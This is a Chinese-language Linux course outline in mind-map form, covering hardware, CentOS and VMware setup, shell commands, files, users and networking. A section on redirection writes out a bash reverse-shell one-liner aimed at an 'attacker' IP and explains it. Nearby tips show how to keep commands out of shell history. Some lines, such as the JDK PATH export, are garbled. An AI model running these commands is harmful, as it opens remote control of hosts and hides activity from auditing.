Linux操作系统-2022(Viper)

Linux操作系统-2022(Viper)

更多了解请到https://www.linuxcool.com/

章节1:计算机体系结构

1.1-计算机发展历史

  • 计算机的组成

    • 冯·诺依曼体系结构
  • 计算机的发展

1.2.1-计算机硬件组成-CPU

  • CPU:Central Processing Unit(中央处理器/处理器)

      - 计算机的心脏
    
    • CPU的本质

      • 大规模高精度的集成电路

          - 控制单元(Control Unit):完成数据处理整个过程中的调配工作
          - 控制单元(Control Unit):完成数据处理整个过程中的调配工作
          - 存储单元:负责存储原始数据以及运算结果
        
  • CPU和芯片的关系

    • 芯片有很多种,CPU芯片是其中一种
      其他还有GPU、NPU、FPGA芯片等等

      • 一句话:CPU是芯片的子集
  • CPU和GPU(显卡)的区别

    • cpu是电脑的中央处理器,在电脑中起着控制计算机运行的作用;gpu是一个附属型的处理器,主要处理计算机中与图形计算有关的工作,并将数据更好地呈现在显示器中。
  • CPU重要参数

1.2.2-计算机硬件组成-内存

  • 内存也被称为内存储器/主存储器

  • 内存与存储空间(不同)

    • 运行内存:RAM(Random Access Memory)
      存储空间:ROM(Read Only Memory)

1.2.3-计算机硬件组成-硬盘

  • 分类

    • 机械硬盘HDD
    • 固态硬盘SSD
  • 硬盘-> 外存储器

  • 硬盘和内存的区别

    • 1、读写速度
      2、作用
      3、持久存储

      • 1、CPU的读写速度>内存读写速度>硬盘读写速度

      • 2、硬盘主要用来存储数据,内存主要其作用是用于暂时存放CPU中的运算数据,以及与硬盘等外部存储器交换的数据。

        • 内存是计算机中重要的部件之一,它是外存与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的,因此内存的性能对计算机的影响非常大。

          • 只要计算机在运行中,操作系统就会把需要运算的数据从内存调到CPU中进行运算,当运算完成后CPU再将结果传送出来,内存的运行也决定了计算机的稳定运行。内存条是由内存芯片、电路板、金手指等部分组成的。
      • 硬盘内的数据可以一直存储至硬盘的寿命结束前

        • 内存条是ram,保存数据需要有供电刷新,如果掉电数据就没了,另外,可以断电保存数据的rom也是有寿命的,介质也会失效,永久保存很难。(关机内存数据清空)

1.3.1-程序运行原理-二进制

  • 计算机只认识0和1

  • 其他进制的计算机

    • 三进制

      • 前苏联 比二进制计算机强
      • 我国九章计算机也是三进制计算机
    • 八进制

    • 十进制

    • 十六进制

    • ……

1.3.2-程序运行原理-编程语言

  • 计算机语言发展过程

    • 机器语言(低级语言)

      • 二进制代码语言,计算机可以直接识别运行

        • 特点:操作比较复杂,但可以直接和硬件打交道,所以运行速度比较快
    • 汇编语言

      • 用英文字母或符号串来替代操作

        • 例:LOAD A

          • 对于硬件的要求比较高,不同硬件之间……
    • 高级编程语言

      • 面向过程

        • C,Basic……
      • 面向对象

        • Java,C++,Python……
      • 特点:编码简单,可跨平台……

1.4-个人电脑操作系统

  • 为什么需要操作系统(Operating System)?

    • 1、提供API,屏蔽硬件的差异
    • 2、协调系统资源

1.5-服务器操作系统

  • 服务器的组成部分

    • 服务器硬件

    • 服务器操作系统

      • Windows Server系列
        Linux系列:Redhat、CentOS、Debian、Ubuntu
        Unix系列:SUN Solaris、BSD Unix
    • HTTP容器(Web服务器)

      • Tomcat、Apache、Nginx、Weblogic、JBoss……
    • 应用程序

      • 各种编程语言开发的软件项目:Java、PHP、C、Python、Ruby、Go……
  • 软件架构

    • C/S架构:Client/Server

      • 客户端:迅雷、QQ、百度网盘、腾讯课堂、网易云音乐、游戏
        客户端、腾讯视频……
        特点:需要安装和升级,占用资源多,性能高
    • B/S架构:Browser/Server

      • 浏览器:Chrome、FireFox、Edge、360……
        站点:百度、知乎、微博、贴吧、淘宝……
        特点:不用安装维护,跨操作系统,占用资源低
  • 软件的服务过程

1.6-为什么要学习Linux

  • 1、使用网络的程序,都有一个服务器

  • 2、服务器,大部分使用的是Linux操作系统

  • 学习方法

    • 1、先学习重点
    • 2、分门别类地学
    • 3、不要强行记命令
    • 4、多用,自然熟练

章节2:Linux操作系统介绍

2.1-操作系统简史

  • 1946年诞生世界上第一台计算机

    • 没有操作系统

      • 穿孔卡片
  • Linux图形界面

    • KDE,GNOME、Xfce、LXDE、MATE

      • echo $DESKTOP_SESSION
      • echo $GDMSESSION
      • ps -A | egrep -i “gnome|kde|mate|cinnamon|lx|xfce|jwm”

2.2-Linux诞生与分支

  • Linux

    • Linux is not UNIX

      • Version 7 Unix——闭源
  • Unix分支

2.3-Linux内核与发行版

  • Linux内核

    • 内核:设备驱动、文件系统、进程管理、网络通信……

      • https://www.kernel.org/

        • uname -a
        • cat /proc/version
    • 升级内核方法

      • blog.csdn.net/u013253075/article/details/119679385
  • 什么是发行(xing)版?(Distribution)

    • 1、linux核心只有内核部分,安装完后,用户界面/软件都没有。内核是系统的心脏,是linux中最基层的代码。

2、linux发行版,就是在内核的基础上,加入用户界面,各种软件的支持。比如CenterOS、小红帽等等。在内核的基础上,开发不同应用程序,组成的一个完整的操作系统。

  • 查看发行版本

    • cat /etc/redhat-release

章节3:安装和配置CentOS

3.1-什么是虚拟机

  • Virtual [ˈvɜːtʃuəl] Machine 虚拟机/物理机

  • 虚拟化技术

    • 虚拟机软件:VMware Workstation、VirtualBox、 Virtual PC、Citrix Xen Desktop、Parallels Desktop (MacOS)
    • 虚拟化技术:Xen、OpenVZ、KVM、Hyper-V
  • 虚拟机工作原理

  • 虚拟机使用场景

    • 1、运行特定版本操作系统
    • 2、隔离物理机,测试用
    • 3、提升资源利用率
  • Linux 自带的虚拟化技术

    • Kernel-based Virtual Machine(KVM)

3.2-Docker容器技术

  • Docker架构图

  • Docker特点

    • 开箱即用
    • 快速部署
    • 可移植性强
    • 环境隔离
  • Docker实现原理

    • namespace——系统环境的隔离
    • Cgroup——资源限制
    • 镜像管理文件系统操作——根目录环境的隔离
  • 虚拟机和Docker

  • 虚拟机和Docker特点对比

3.3-安装VMware

  • 开启虚拟化

    • https://blog.csdn.net/weixin_44210782/article/details/104661303
    • 1、根据自己的电脑型号(主板型号) 搜索进入BIOS的方式, 开机的时候按F8 F10 F12或Del等 2、在BIOS中设置
  • VMware下载安装

    • 00-安装VMWare.docx
  • 物理机蓝屏的问题

    • 虚拟机开机导致物理机蓝屏或重启的问题 安装最新版Vmware大概率可以解决

      • https://blog.csdn.net/weixin_55118477/article/details/121080830
      • https://blog.csdn.net/wwwwzz/article/details/114682821
  • 虚拟机被锁定问题

    • 1、原因:启动了多个VMWare程序,在多个窗口打开了 一个虚拟机
    • 2、解决办法:找到原来的窗口,或者删除虚拟机目录下 所有的 .lck文件和.lck目录
  • 重启或者合上屏幕以后虚拟机连不上

    • 1、在网络适配器中,禁用VMnet8,再启用就OK了
    • 2、可以做成脚本,右键管理员运行
  • VMware基本功能

    • 编辑网络——“虚拟网络编辑器”
    • 克隆和快照
    • 与物理机传输文件

3.4-VMware三种网络模式

  • 基础知识

    • 网卡、路由器、交换机

    • 虚拟交换机

      • 作用

        • 让相同网络模式的虚拟机可以相互连接
    • 虚拟网卡

      • 作用

        • 让主机和虚拟机相互连接
    • 关键问题

      • 1、主机怎么和虚拟机连接?
      • 2、虚拟机怎么连接到互联网?
  • 桥接模式(Bridge)

      - 桥接-总结1
    
      	- 通信方式
    
      		- 1、虚拟机通过连接到虚拟机交换机,利用虚拟网桥连接到主机的网卡 
      		- 2、它不需要用到虚拟网卡,所以没有VMware Network Adapter
    
      	- 特点
    
      		- 1、物理机和虚拟机地位平等
      		- 2、虚拟机占用一个独立IP
      		- 3、使用物理机的网卡访问互联网
    
      	- 配置
    
      		- 虚拟机IP网段和主机一致
    
      - 桥接-总结2
    
      	- 连通情况
    
      		- 1、主机和虚拟机可以访问 
      		- 2、虚拟机之间可以相互访问
      		- 3、可以访问互联网
      		- 4、可以访问其他主机
      		- 5、其他主机可以访问本虚拟机
    
      	- 使用场景
    
      		- 创建一个虚拟服务器在内网提供网络服务
    
    • 直接用物理机的网卡去上网的(网段一致)
  • NAT模式(NAT:Network Address Translation)

      - NAT-总结1
    
      	- 通信方式
    
      		- 1、虚拟NAT设备(虚拟路由)连接到VMnet8虚拟交换机——虚拟机联网 用
      		- 2、主机通过VMware Network Adapter VMnet8虚拟网卡连接到VMnet8 虚拟交换机——主机和虚拟机连接用
    
      	- 特点
    
      		- 1、虚拟机在外部网络中没有自己的IP地址
      		- 2、虚拟NAT设备会把专用网络中的 IP 地址转换为主机系统的 IP 地址—— 网络地址转换
      		- 3、主机可以联网,虚拟机就可以联网 
    
      	- 配置
    
      		- 无
    
      - NAT-总结2
    
      	- 连通情况
    
      		- 1、主机和虚拟机可以访问
      		- 2、虚拟机之间可以相互访问
      		- 3、可以访问互联网
      		- 4、本机虚拟机可以访问其他主机
      		- 5、其他主机不能访问本机虚拟机。解决办法:共享网络、端口映射
    
      	- 使用场景
    
      		- 大部分情况
    
  • 仅主机模式(Host-Only)

      - 仅主机-总结1
    
      	- 通信方式
    
      		- 主机使用VMware Network Adapter VMnet1虚拟网卡连接到VMnet1虚 拟交换机
    
      	- 特点
    
      		- 没有了NAT设备(虚拟路由),所以不能上网
    
      	- 配置
    
      		- 无
    
      - 仅主机-总结2
    
      	- 连通情况
    
      		- 1、主机和虚拟机可以访问
      		- 2、虚拟机之间可以相互访问
      		- 3、不能访问互联网
      		- 4、不能访问其他主机
      		- 5、其他主机不能访问本机虚拟机
    
      	- 使用场景
    
      		- 创建一个与其他机器隔离的网络
    

3.5.1-安装CentOS

  • 01-解压版CentOS7使用方法.docx(推荐)
  • 01-安装CentOS.docx

3.5.2-VI编辑器

  • 三模式

    • 1、命令模式:只能输入命令

    • 2、编辑模式(插入模式):可以修改文本

      • i/…
    • 3、底行模式(底部命令模式):结束操作

      • q!/wq/…
  • 问题

    • 1、只读权限

      • 用root用户来执行
    • 2、临时swp文件

3.5.3-CentOS配置静态IP

  • 为什么要配置一个静态的IP

    • 静态IP配置不是必要性的

    • 在安装好CentOS虚拟机以后,一般我们会通过Xshell连接到虚拟机,而不是直接使用虚拟机里面的终端(Terminal)输入命令。

      • 如果使用默认的动态分配IP,虚拟机每次开机以后IP都会改变,Xshell连接需要修改IP。所以这里我们需要将IP设置成静态IP,只要虚拟机开机即可连接。
  • 问题:如果网络环境发生变化,比如从有线变成无线,或者电脑从办公室移动到家里,主机IP(网段)发生了变化,需要重新设置虚拟机的静态IP吗?

    • 答案是不需要,不影响物理机与虚拟机的连接。
  • 02-VMware+Centos7 静态IP设置方法.docx

    • 虚拟机网络连接成功的标准:

      • 1、物理机可以ping虚拟机IP
      • 2、虚拟机可以ping baidu.com

3.5.4-CentOS修改yum源

  • yum是CentOS中的一种软件管理器,通过yum安装软件,可以自动解决包依赖的问题,免去手工安装依赖包的麻烦。

    • yum使用了一个中心仓库来记录和管理软件的依赖关系,默认为mirrorlist.centos.org,叫做CentOS官方yum源。

      • 这个仓库可以类比为手机的应用市场,应用市场也有很多,比如华为应用市场、小米应用市场、应用宝等等。
  • 03-CentOS7替换yum源为阿里云.docx

3.5.5-Xshell连接CentOS

  • 远程连接工具

    • Xshell(个人推荐)

      • 04-Xshell7使用教程.docx
    • FinalShell(国产免费)

    • MobaXterm

    • SecureCRT

  • 添加连接

    • 修改编码解决中文乱码

      • 窗口排列
  • SSH、SSH Key

    • SSH(Secure Shell,安全外壳)

    • SSH Key

      • 1、客户端生成密钥对(公钥、私钥)

      • 2、客户端把公钥发给服务端保存(正常情况需要密码)

      • 3、客户端用私钥加密消息,发给服务端

      • 4、服务端用公钥解密,解密成功,说明密钥匹配

      • 5、客户端免密登录成功

        • “你之前同意保存我的公钥,所以可以解密我的消息,所以认得我”
  • 物理机和虚拟机文件传输

    • xftp
    • sz file
    • rz
    • vmtools拖动
    • QQ
    • wget
    • scp
    • ……

章节4:Linux操作系统基础知识

4.1-Linux系统结构

  • Linux系统结构

    • 1、内核

      • 1、管理进程
      • 2、管理内存
      • 3、管理驱动
      • 4、管理文件和网络
      • ……
    • 2、Shell

      • 作用

        • 接收用户的命令,经过转换,交给内核去执行

          • cat —> open() read()
      • 特点

        • 1、简化操作
        • 2、安全
      • Linux Shell工具

      • Shell和Terminal

      • Shell编程/Shell脚本(.sh)

    • 3、文件系统

      • “一切皆文件”

        • 普通文件、目录、进程(/proc)、输入输出设备(/dev)、网络字节流socket、链接文件、管道文件
      • 根目录文件/

        • bin

          • 存放普通用户可执行的指令

            • 即使在单用户模式下也能够执行处理
        • boot

          • 开机引导目录

            • 包括Linux内核文件与开机所需要的文件
        • dev

          • 设备目录

            • 所有的硬件设备及周边均放置在这个设备目录中,比如声卡、磁盘
        • etc

          • 各种配置文件目录

            • 大部分配置属性均存放在这里
        • lib

          • 库文件存放地,bin和sbin需要的库文件

            • 类似windows的DLL
        • media

          • 可移除设备挂载目录

            • 类似U盘、光盘、移动硬盘等临时挂放目录
        • mnt

          • 用户临时挂载其他的文件系统

            • 额外的设备可挂载在这里,相对临时而言
        • opt

          • 第三方软件安装目录

            • 现在习惯性的放置在/usr/local中
        • proc

          • 虚拟文件系统

            • 通常是内存中的映射,特别注意在误删除数据文件后,比如DB,只要系统不重启,还是有很大几率能将数据找回来
        • root

          • 系统管理员主目录

            • 除root之外,其他用户均放置在/home目录下
        • run

          • 系统运行时所需文件

            • 以前防止在/var/run中,后来拆分成独立的/run目录。重启后重新生成对应的目录数据
        • sbin

          • 只有root才能运行的管理指令

            • 跟bin类似,但只属于root管理员
        • srv

          • 服务启动后需要访问的数据目录
        • sys

          • 跟proc一样,虚拟文件系统

            • 记录核心系统硬件信息
        • tmp

          • 存放临时文件目录

            • 所有用户对该目录均可读写
        • usr

          • 应用程序放置目录

            • 自己的软件安装在/etc/usr/local目录下
        • var

          • 存放系统执行过程经常改变的文件
      • 用户主目录

        • home directory

          • root用户的主目录是 /root
          • 其他用户的主目录是 /home/用户名
        • 工作目录:working directory

          • cd 空格 或者 cd ~
        • 目录指代

          • cd home和cd home/是不同的,只有目录才会有/,文件是不能有/的
    • 4、应用程序

4.2-Linux常用操作

  • 命令帮助

    • man command(manual)——具体参数和使用方法
    • whatis command——命令的简要说明
    • info command——详细介绍
    • help command——Linux内置命令
  • 关机重启(root用户)

    • 关机

      • poweroff
      • shutdown -h now
      • halt -p
    • 重启

      • reboot
  • 快捷键和命令

    • Tab键

      • 补全命令和目录(自动提示)
    • 方向键

      • 上一条命令:方向键上;下一条命令:方向键下
    • Ctrl+r

      • 搜索历史命令,回车执行
    • !cd:

      • 重复执行最近一次,以cd开头的历史命令
    • Ctrl+insert

      • 复制(我的电脑是Fn+Ctrl+insert)
    • Shift+insert

      • 粘贴(我的电脑是Fn+Shift+insert)
    • Alt+insert

      • 复制并粘贴(我的电脑是Fn+Alt+insert)
    • Ctrl+E

      • 光标移动到行尾
    • Ctrl+A

      • 光标移动到行首
    • Ctrl+K

      • 清除光标后至行尾的内容
    • Ctrl+U

      • 清除光标前至行首间的所有内容
    • clear

      • 清屏,但是命令都还在
    • history -c

      • 清除历史命令 kali: echo > ~/.zsh_hsitory
  • 别名配置alias

    • 查看别名:alias
    • 设置别名(以bash为例):vim ~/.bashrc
    • 格式:alias short=‘xxx;xxx’
    • 生效:source ~/.bashrc
  • 通配符

      • 任意字符
      • 单个字符
    • []

      • 匹配范围中的,比如[0-9]-a-z]
    • {}

      • 多个 || { .log,.txt}
      • 创建多个文件touch {0…10}.txt
    • ^

      • 取反|| [^txt]*查找不是.txt结尾
  • 系统环境变量

    • 环境变量的作用?
    • 查看全部变量:env
    • 查看单个变量:echo $XXX
    • 用户变量:~/.bashrc
    • 系统变量:/etc/profile
  • 案例:设置JDK环境变量(可跳过,本节不重要)

    • vim /etc/profile
    • export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
      export PATH= J A V A H O M E / b i n : JAVA_HOME/bin: JAVAHOME/bin:PATH
      export CLASSPATH=.: J A V A H O M E / l i b / d t . j a r : JAVA_HOME/lib/dt.jar: JAVAHOME/lib/dt.jar:JAVA_HOME/lib/tools.jar
    • source /etc/profile

4.3-文件描述符和重定向

  • 文件描述符 File Descriptor

  • 重定向

    • 输出重定向

    • 输入重定向

  • bash反弹连接案例

    • bash -i >& /dev/tcp/192.168.142.44/7777 0>&1

      • bash -i 在靶机打开交互式的Shell;
        /dev/tcp/192.168.142.44/7777 连接到攻击机IP端口;>& 和 &>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机——接收结果用。
      • 0>&1,左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出——接收命令用。
        所以,靶机的输入输出都到了攻击机上。
  • 补充

    • 1、不想让操作系统记录我的输入命令

      • 1、在 ~/.bashrc里缺少一个配置

        • echo HISTCONTROL=ignorespace >> ~/.bashrc

          • 2、在命令前面加个空格就可以了
    • 2、取反符号的用法

      • 例如:ls [^w]*

章节5:文件与目录管理

5-Linux文件和目录管理

  • 命 令 格 式

    • 常规命令格式

      • Command Options Arguments 命令 选项 参数 rm -rf /*

        • Options选项:命令的行为方式

        • Arguments参数:命令的对象

        • 注意:这是一个笑话,且该命令十分危险!!!!!!!,不要执行!!!!

  • 规范

    • 命令
    • 空格
    • 大小写
    • 顺序
  • 命令选项详细参考资料

    • https://wangchujiang.com/linux-command
    • https://www.linuxcool.com
  • 文 件 与 目 录 管 理

    • 列出目录内容和属性

      • 命令:ls

        • 全拼:list

        • 选项

          • -a

            • 显示所有隐藏文件
          • -l

            • 以列表的形式列出
          • -al

          • -la

        • 格式:ls 选项 文件名

          • 例:

            • ls -a
            • ll --block-size=M
    • 打印工作路径

      • 命令:pwd

        • 全拼:print working directory[dəˈrektəri]
        • 格式:pwd
    • 切换工作目录

      • 命令:cd

        • 全拼:change directory
        • 格式:cd 相对路径或者绝对路径
    • 查看文件类型

      • 命令:file[faɪl]

        • 格式:file 需要查找的文件的路径 选项 文件或目录名字

          • file -i 文件名
        • 选项

          • -name名字

            • 例:find /etc -name a*
            • 例:find / -name “aaa” 2>/dev/null
          • -type类型参数

    • 复制文件或目录

      • 命令:cp

        • 全拼:copy[ˈkɒpi]

        • 格式:cp 选项 源文件 目标文件

        • 选项

          • -R/r:递归处理,将指定目录下的所有文件与子目录一并处理;
          • -f:强制(force[fɔːrs])复制文件或目录,不论目标文件或目录是否已存在;
    • 查找文件或者目录-1

      • find

        • 格式:find 目录 选项 名字或模式

        • -name 名字

          • find /etc -name a*
          • find / -name “aaa” 2>/dev/null
        • -type [taɪp]类型参数

          • f 普通文件,d 目录
          • find /root -type f
        • -size[saɪz]大小

          • find /root -type f -size 10M
        • -exec command

          • 把find找到的内容作为命令的参数去执行 {}就是找到的内容

            • find . -name “*.txt” -exec rm -rf {} ; (包括子目录)
            • find . -name aaa -exec mv {} bbb ;
    • 其他查找命令

      • whereis :查找二进制程序、代码等相关文件路径
      • which:查找并显示给定命令的绝对路径
      • locate:updatedb程序每天会跑一次,建立文件索引
    • 创建目录

      • 命令:mkdir

        • 全拼:make direcotry

        • 选项

          • -p

            • 可以一次性创建多个目录

              • mkdir -p aa/bb/cc
        • 格式:mkdir 选项 目录名

          • mkdir test
          • mkdir -p /usr/local/soft/redis
    • 移动或者重命名

      • 命令:mv

        • 全拼:move[muːv]

        • 格式:mv 选项 原文件 新文件

          • mv 1.txt 2.txt
          • mv /a/1.txt /b/1.txt
    • 删除文件

      • 命令:rm

        • 全拼:remove[rɪˈmuːv]

        • 格式:rm 选项 (多个)文件名

          • 删除空目录:rmdir

          • 删除非空目录

            • -r/R

              • 递归recursive(连同子文件夹一起删除)
            • -f

              • 强制删除
            • -v

              • 显示指令的详细执行过程
            • -i

              • 删除文件或目录前先询问用户
            • 例如:

              • find . -name “a.json” -exec rm -rf {}
    • 创建空文件

      • 命令:touch

        • 格式:touch 选项 文件名

          • touch a.txt
      • 小提示

        • 如果一个文件已经存在,再次使用touch命令创建一个一模一样的文件,执行过后它不会提醒,也不会修改什么的,只会改变文件的最后修改时间(时间戳),其他的和之前一样
  • 挂 载 和 链 接

    • 挂载mount

      • 问题:一个目录树怎么使用多个磁盘?

        • 原路径:/dev/sdb1 挂载到: /sdb-u
        • mkdir /sdb-u
        • mount /dev/sdb1 /sdb-u
      • 挂载后:

    • 链接ln

      • 全拼:link[lɪŋk]

      • 格式:ln 源文件 链接文件

        • 硬链接

          • ln 1.php hard.php

          • vim hard.php

          • cat 1.php

          • 注意:

            • 硬链接的两个文件修改了硬链接的文件,原文件也会同步更新;删除了硬链接的文件,对于原文件没有影响。
            • 1、用户不能给目录创建硬链接
            • 2、只有相同的文件系统才可以创建硬链接(tmpfs NTFS FAT32)
        • 软链接(-s)

          • 查看软链接:

            • ll /usr/bin/nc
          • 如何删除软链接

            • rm 软链接名称
          • 创建软链接:

            • ln -s /usr/local/phpstudy/system/phpstudyctl /usr/bin/study
          • 注意:

            • 源文件删除,软连接失效

章节6:文件压缩及解压缩

6-文件压缩及解压缩

  • 打包 和 压 缩 的 区 别

    • 打包:多个文件变成一个文件——减少文件个数

      • 打包/解包 pack/unpack

      • 打包的作用:减少传输文件的次数

    • 压缩:缩小一个文件的体积——减少文件体积

      • 压缩/解压 compress/decompress

        • 如何评价压缩的好坏

          • 压缩率:压缩后体积/压缩前体积
      • 压缩

        • 有损压缩
        • 无损压缩
    • 注意:打包、解包、压缩、解压都需要消耗时间

      • 用时间换空间的压缩算法
  • 常 见 压 缩 格 式

    • HTTP:gzip

      • gzip、 deflate(zlib的格式)、 br(Brotli)、identity(不压缩)
    • Windows:zip、rar、7z

      • winrar、360压缩、bandizip、7zip
    • Linux:gzip(tar.gz=.tgz)、bzip2(.bz2)、zip

      • 压缩后体积: tar.bz2 < tgz < tar
      • 压缩解压时间: tar.bz2 < tar < tgz
  • t a r 命 令

    • tar常用选项 (tar是Tape Archive的缩写)

      • -c

        • 打包
      • -x

        • 解包
      • -v

        • 显示打包/解包过程
      • -f

        • 指定文件名称,必须放在所有选项后面
    • tar用法示例

    • tar其他操作

  • z i p 命 令

    • zip用法示例

章节7:查看和处理文件内容

7-查看和处理文件内容

  • 文 本 文 件 和 二 进 制 文件

    • 文本文件

      • ASCII、UTF-8、Unicode、ANSI、 txt、xml、conf、properties、yml等配置文件、日志文 件、源代码
    • 二进制文件

      • 可执行程序、图片、音频、视频
  • cat

    • 全拼:concatenate [kənˈkætəneɪt] 连接
    • 格式:cat 文件名
  • more/less

    • more/less分屏操作

    • more/less搜索

      • /[查找字符] # 配合n键,从上往下查所有。

      • ?[查找字符] # 配合n键,从下往上查所有。

      • 按 Enter 键后:

        • n键盘查找下一个符合的内容。
        • N上一个符合的内容。
  • head/tail

    • head -n 10 redis.conf

    • tail -n 10 info.log

    • tail -f /var/log/messages

      • -f实时的更新
  • grep、管道符号

    • 全拼:Globally search a Regular Expression and Print

      • 全局搜索正则表达式并打印

        • 格式:grep 选项 模式 文件名
    • grep和find命令的区别

      • grep是搜索文件内容中的某个关键字
      • find是搜索某个指定名称的文件
    • 管道符号pipe

      • 把前一个命令原本要输出到屏幕的数据当作是后一个命 令的标准输入

        • command1 | command2 | command3

        • 例如:

          • cat test.log | more -5 每次显示5行
          • ps -ef | less -N 显示行号
          • netstat -an|grep 3306
          • cat -n info.log |grep “debug” | more
  • wc

    • 全拼:word count

      • -l或–lines 显示行数

      • -w或–words 只显示字数

      • 巧妙用法:来统计某一目录下有多少文件

        • ls -l | wc -l
      • 例如:

        • wc -l redis.conf
        • wc -w redis.conf
  • diff

    • 全拼:different

      • 对比文件

        • diff diff_A.txt diff_B.txt
      • 对比目录

        • -r选项

          • diff -r aaa bbb

章节8:文本编辑器

8-Linux文本编辑器

  • Windows

    • Notepad(记事本)、Sublime、UltraEdit 等
  • Linux

    • VI/VIM、nano、Emacs、Sed、gedit、Kate等
  • V I 和 V IM的 区 别

    • VI:Visual Interface

      • 1976 Bill Joy(ex)
    • Vim:VI IMproved

      • 1991 Bram Moolenaar
  • V IM配 置 文 件

    • 全局配置

      • /etc/vimrc
    • 用户配置

      • ~/.vimrc
    • 详细配置参考:

      • https://blog.csdn.net/xiao_yi_xiao/article/details/118491698
  • V IM三 种 模 式

    • 区别

      • 命令模式:通过命令操作文本文件
      • 编辑模式:对文本的内容进行编辑
      • 底行模式:结束操作的时候使用
    • 切换

    • 命 令 模 式

      • 错误提示:

        • E325: ATTENTION Found a swap file by the name “.redis.conf.swp”
        • 原因:编辑未结束
        • 解决办法:保存文本文件,或者删除.swp
      • 移动光标操作

      • 搜索替换操作

      • 删除和复制操作

    • 编 辑 模 式

      • 进入编辑模式

      • 撤消

    • 底 行 模 式

      • 进入底行模式

章节9:软件安装

9-Linux软件安装

  • 1、软件为什么需要安装

    • Windows软件安装流程

      • 1、安装检查
      • 2、释放文件
      • 3、复制可执行文件
      • 4、DLL动态链接库/安装服务
      • 5、注册表
      • 6、开始菜单和快捷方式
    • Windows安装文件

    • Windows可执行程序

    • Linux可执行程序

  • 2、脚本和程序的区别

    • 不需要编译的:Javascript、Python、Ruby……
    • 需要编译的:C、C++、Swift、Kotlin、Go……
    • 解释型:边解释边执行
    • 编译型:计算机可以直接执行
  • 3、Linux安装软件的几种方式

    • Linux主要派系

    • Linux软件常见安装方式

      • 源码编译(make)、rpm、deb、yum、apt、 Docker……

      • 源码安装

          - 案例(教程合集)
        
          	- 41-CentOS7源码方式安装Redis 6.docx
          	- 42-CentOS7源码方式安装nginx.docx
        
      • rpm安装

        • RedHat Package Manager

        • rpm选项

        • rpm缺陷:不能解决软件依赖性

      • yum安装

        • YUM(Yellow dog Updater, Modified)

          • 案例(教程合集)

            • 06-CentOS7yum方式安装Docker.docx
            • 43-CentOS7 yum方式安装MySQL 5.docx
        • yum操作和选项

      • DNF和YUM的区别

      • Debian系

      • FreeBSD系

  • 4、CentOS安装软件案例

    • Linux软件安装方式

      • CentOS启用中文输入法

        • https://blog.csdn.net/carefree2005/article/details/119607891

          • Win+空格键 进行切换
          • grep “password” /var/log/mysqld.log
      • 43-CentOS7 yum方式安装MySQL 5.docx

  • 5、Linux软件版本管理

    • update-alternatives

      • 查看:

        • update-alternatives --display java
      • 添加:

        • alternatives --install /usr/bin/java java /usr/local/jdk-11.0.2/bin/java 3
        • /usr/bin/java:注册地址,软链
        • java:服务名
        • /usr/local/jdk-11.0.2/bin/java:实际程序路径
        • 3:优先级
      • 切换:

        • update-alternatives --config java

章节10:用户管理

10.1-Linxu用户和权限管理

  • 用户与权限

  • 用户组Group

    • 组ID - Group ID - GID

    • Group相关命令

        - 用户必须依赖用户组的存在
      
  • 用户ID-User ID-UID

    • User相关命令
  • 用 户 管 理 相 关 文 件

    • /etc/group

    • /etc/passwd

    • /etc/shadow

    • 密码格式

    • /etc/sudoers

  • 用 户 管 理 基 本 命 令

    • 基本命令
  • 用户和文件的关系

    • 文件所有者:所属用户、所属组
    • 访问权限:读、写、执行
  • 文件和目录归属

  • 文 件 和 目 录 权 限

    • 文件类型
  • 用户类别

  • 权限类别

  • 权限类别

  • 修改权限

10.2-sudoers填坑

  • 用visudo命令打开并编辑,然后执行特殊命令的时候在最前面加上一个sudo就行了(用visudo命令修改配置文件是临时操作)

章节11:网络管理

11-Linux网络管理

  • 网 络 基 本 概 念

    • 物理地址/逻辑地址

      • 网卡

      • MAC地址(Media Access Control)媒体访问控制

      • IP(Internet Protocal Address)互联网协议地址

      • 例如:

        • 192.168.142.132
        • 47.106.11.166
    • 公有私有

      • 局域网——使用私有IP地址
      • 互联网——使用公有IP地址
    • NAT

      • NAT:Network Address Translation,网络地址转换
    • IPv4、IPv6

    • 公网IP地址的分配

    • 动态、静态IP

      • DCHP(Dynamic Host Configuration Protocol)动态
      • static 静态
    • 127.0.0.1

      • 环回地址(loop back)

        • 可以ping通代表网卡安装正常
    • 端口port

      • 子主题 1
    • 域名Domain Name

    • 域名Domain Name

    • DNS服务器后台配置

  • 网 络 配 置 文 件

  • 查 看 及 配 置 网 络

    • ifconfig

      • 全拼:network interfaces configuring

      • 位于net-tools工具包

        • 可以动态配置网络参数
      • 其他选项参数:https://www.linuxcool.com/

    • ifconfig和ip

    • ip

      • 位于iproute工具包

        • 添加设备、启动停止网络设备、设置IP、设置网关……

          • 其他选项参数:https://www.linuxcool.com/
  • 连 通 性 探 测

    • ping

      • 全拼:Packet Internet Groper,因特网包探索器
      • ping baidu.com
      • ping 192.168.142.151
    • telnet

      • 远程登录

        • telnet bbs.newsmth.net
      • 探测端口

        • telnet 192.168.142.132 80
        • telnet 192.168.142.132 22
  • 查 看 网 络 连 接

    • netstat(ss)

      • 全拼:network statistics

      • 查看程序的网络连接情况:

        • netstat -ap | grep ssh
      • 查看端口的网络连接情况:

        • netstat -ap | grep 3306
  • 域 名 相 关

  • 下 载 传 输

    • 常规方式

      • Xshell拖拽———上传
      • xftp———双向,或者Filezilla、FlashFTP
      • sz file name———下载
      • rz———上传
      • vmtools拖动———传入
      • QQ———双向
    • wget

    • scp

    • curl

      • 全拼:Client URL
      • curl https://www.baidu.com > page.html
      • curl -X POST -d ‘a=1&b=nihao’ URL
      • curl -H “Content-Type: application/json” -X POST -d ‘{“abc”:123,“bcd”:“nihao”}’ URL
  • 防 火 墙 设 置

章节12:系统状态管理

12-Linux系统状态管理

  • 1、查看系统信息

    • 1、日期时间

      • date

      • cal

      • uptime

        • 查看机器已经启动了多长时间
      • w

    • 2、系统版本

      • cat /etc/redhat-release
      • uname -a
      • cat /proc/version
  • 2、进程管理

    • 1、程序 program

    • 2、进程 process

    • 3、服务 service

    • systemctl list-unit-files |grep mysql

      • cat /etc/services |grep mysql
    • 运行程序

      • 1、前台运行 ./xxx
      • 2、后台运行 nohup ./xxx &
    • 查看进程 top

    • ps

      • 全拼:process status

      • ps -ef

      • ps -aux

      • pstree

    • 服务管理

      • systemctl

      • systemctl和service

      • 停止程序

          - kill -信号量 进程号
          - 例如:kill -9 11964
        
  • 3、内存使用情况
